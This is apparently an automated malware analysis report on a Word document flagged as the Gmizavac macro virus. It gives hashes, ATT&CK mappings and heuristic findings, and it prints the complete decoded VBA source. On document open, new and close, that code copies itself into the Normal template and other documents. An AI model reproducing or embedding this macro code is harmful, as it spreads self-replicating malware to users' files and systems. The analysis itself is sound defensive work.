Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd896d9be291f798…

MALICIOUS

Office (OLE)

29.5 KB Created: 2001-04-27 18:57:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-30
MD5: a8212944f380733642ab9b0d357e8490 SHA-1: 71e3df340e37672c143bc30f70689c375c0471ab SHA-256: dd896d9be291f798ab863b86580922bdee62079ea97b8a5fe062f1ab6d37cb34
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that exhibit self-replication behavior, attempting to write malicious code to 'C:\Syswin32.drv' and then incorporate it into the Normal template and the active document. This indicates an attempt to establish persistence and potentially evade antivirus detection. The ClamAV detection of 'Doc.Trojan.Gmiza-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Gmiza-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gmiza-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        .DeleteLines x, x + 3
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_New(): Document_Open: End Sub

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1995 bytes
SHA-256: fd9ec48a8ee256171b15d7e6188751eae5dc24f502e1454c0e8e8717132c5d2d
Detection
ClamAV: Doc.Trojan.Gmiza-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New(): Document_Open: End Sub
Private Sub Document_Close(): Document_Open: End Sub
Private Sub Document_Open(): Dim a, b, c: x = x + 1
ThisDocument.VBProject.vbcomponents(x).Export ("C:\Syswin32.drv")
If NormalTemplate.VBProject.vbcomponents(x).codemodule.CountOfLines = 0 Then
    With NormalTemplate.VBProject.vbcomponents(x).codemodule
    .AddFromFile "c:\syswin32.drv"
    .DeleteLines x, x + 3
    End With
End If
If ActiveDocument.VBProject.vbcomponents(x).codemodule.CountOfLines = 0 Then
   With ActiveDocument.VBProject.vbcomponents(x).codemodule
   .AddFromFile "c:\syswin32.drv"
   .DeleteLines x, x + 3
   End With
End If
If NormalTemplate.VBProject.vbcomponents(x).codemodule.CountOfLines < 46 Then
    With NormalTemplate.VBProject.vbcomponents(x).codemodule
    .DeleteLines x, .CountOfLines
    .AddFromFile "c:\syswin32.drv"
    .DeleteLines x, x + 3
    End With
End If
If ActiveDocument.VBProject.vbcomponents(x).codemodule.CountOfLines < 46 Then
   With ActiveDocument.VBProject.vbcomponents(x).codemodule
   .DeleteLines x, .CountOfLines
   .AddFromFile "c:\syswin32.drv"
   .DeleteLines x, x + 3
   End With
End If
With Application
.Assistant.TipOfDay = True
.Assistant.Animation = msoAnimationBeginSpeaking
.Assistant.AssistWithAlerts = False
.Assistant.Sounds = True
.Selection.TypeText "Covjek je gospodar svoje rijeci, ali kad ta rijec izadje iz njega on postaje njen rob!"
End With
With ActiveDocument
.Words(x).Underline = wdUnderlineDottedHeavy
    For u = x To 7
    .Shapes.AddLine 7, 7, 7, 7
    Next u
End With
'WM.Gmizavac by e[ax] / Species VL
'Authorized distribution for Bosnia and Herzegovina
End Sub

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